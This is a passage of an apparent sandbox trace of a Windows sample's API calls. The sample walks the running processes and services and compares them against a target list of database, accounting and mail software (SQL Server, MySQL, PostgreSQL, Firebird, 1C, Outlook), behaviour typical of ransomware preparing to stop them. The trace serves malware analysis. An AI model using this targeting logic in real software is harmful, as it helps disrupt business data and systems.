lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0170.255] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.255] lstrlenW (lpString="smss.exe") returned 8 [0170.255] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0170.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0170.256] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.256] lstrlenW (lpString="csrss.exe") returned 9 [0170.256] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.256] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.256] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0170.256] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.257] lstrlenW (lpString="wininit.exe") returned 11 [0170.257] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0170.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0170.257] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.257] lstrlenW (lpString="csrss.exe") returned 9 [0170.257] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.257] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.257] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.258] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.258] lstrlenW (lpString="winlogon.exe") returned 12 [0170.258] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.258] lstrlenW (lpString="services.exe") returned 12 [0170.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.259] lstrlenW (lpString="lsass.exe") returned 9 [0170.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.259] lstrlenW (lpString="lsm.exe") returned 7 [0170.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.260] lstrlenW (lpString="svchost.exe") returned 11 [0170.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.260] lstrlenW (lpString="svchost.exe") returned 11 [0170.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.261] lstrlenW (lpString="svchost.exe") returned 11 [0170.261] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.261] lstrlenW (lpString="svchost.exe") returned 11 [0170.261] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.262] lstrlenW (lpString="svchost.exe") returned 11 [0170.262] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.262] lstrlenW (lpString="audiodg.exe") returned 11 [0170.263] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.263] lstrlenW (lpString="svchost.exe") returned 11 [0170.263] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.263] lstrlenW (lpString="svchost.exe") returned 11 [0170.263] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.264] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.264] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.264] lstrlenW (lpString="taskhost.exe") returned 12 [0170.264] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.265] lstrlenW (lpString="svchost.exe") returned 11 [0170.265] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.265] lstrlenW (lpString="dwm.exe") returned 7 [0170.265] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.266] lstrlenW (lpString="explorer.exe") returned 12 [0170.266] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0170.266] lstrlenW (lpString="3G6885.exe") returned 10 [0170.266] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.267] lstrlenW (lpString="reader_sl.exe") returned 13 [0170.267] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.267] lstrlenW (lpString="taskhost.exe") returned 12 [0170.267] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.268] lstrlenW (lpString="dllhost.exe") returned 11 [0170.268] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.268] lstrlenW (lpString="dllhost.exe") returned 11 [0170.269] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0170.269] lstrlenW (lpString="rundll32.exe") returned 12 [0170.269] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0170.270] lstrlenW (lpString="dinotify.exe") returned 12 [0170.270] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.270] lstrlenW (lpString="dllhost.exe") returned 11 [0170.270] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0170.271] CloseHandle (hObject=0x34c) returned 1 [0170.271] Sleep (dwMilliseconds=0x1f4) [0170.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0170.895] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0170.895] GetLastError () returned 0xea [0170.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0170.896] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0170.896] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0170.897] lstrlenW (lpString="Appinfo") returned 7 [0170.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.897] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.897] lstrlenW (lpString="AudioSrv") returned 8 [0170.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0170.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0170.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0170.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0170.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0170.897] lstrlenW (lpString="BFE") returned 3 [0170.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.897] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.898] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.898] lstrlenW (lpString="CryptSvc") returned 8 [0170.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.898] lstrlenW (lpString="CscService") returned 10 [0170.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0170.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0170.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0170.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0170.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0170.898] lstrlenW (lpString="DcomLaunch") returned 10 [0170.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.898] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.898] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.898] lstrlenW (lpString="Dhcp") returned 4 [0170.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.899] lstrlenW (lpString="Dnscache") returned 8 [0170.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.899] lstrlenW (lpString="DPS") returned 3 [0170.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.899] lstrlenW (lpString="eventlog") returned 8 [0170.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0170.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0170.899] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0170.899] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0170.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0170.899] lstrlenW (lpString="EventSystem") returned 11 [0170.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.899] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.899] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.899] lstrlenW (lpString="gpsvc") returned 5 [0170.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.899] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.899] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.900] lstrlenW (lpString="iphlpsvc") returned 8 [0170.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.900] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.900] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.900] lstrlenW (lpString="LanmanServer") returned 12 [0170.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.900] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.900] lstrlenW (lpString="lmhosts") returned 7 [0170.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.900] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.900] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.900] lstrlenW (lpString="MMCSS") returned 5 [0170.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0170.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0170.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0170.900] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0170.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0170.900] lstrlenW (lpString="MpsSvc") returned 6 [0170.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.901] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.901] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.901] lstrlenW (lpString="Netman") returned 6 [0170.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0170.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0170.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0170.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0170.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0170.901] lstrlenW (lpString="netprofm") returned 8 [0170.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.901] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.901] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.901] lstrlenW (lpString="NlaSvc") returned 6 [0170.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.901] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.901] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.901] lstrlenW (lpString="nsi") returned 3 [0170.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.901] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.901] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.901] lstrlenW (lpString="PcaSvc") returned 6 [0170.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.902] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.902] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.902] lstrlenW (lpString="PlugPlay") returned 8 [0170.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.902] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.902] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.902] lstrlenW (lpString="Power") returned 5 [0170.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.902] lstrcmpiW 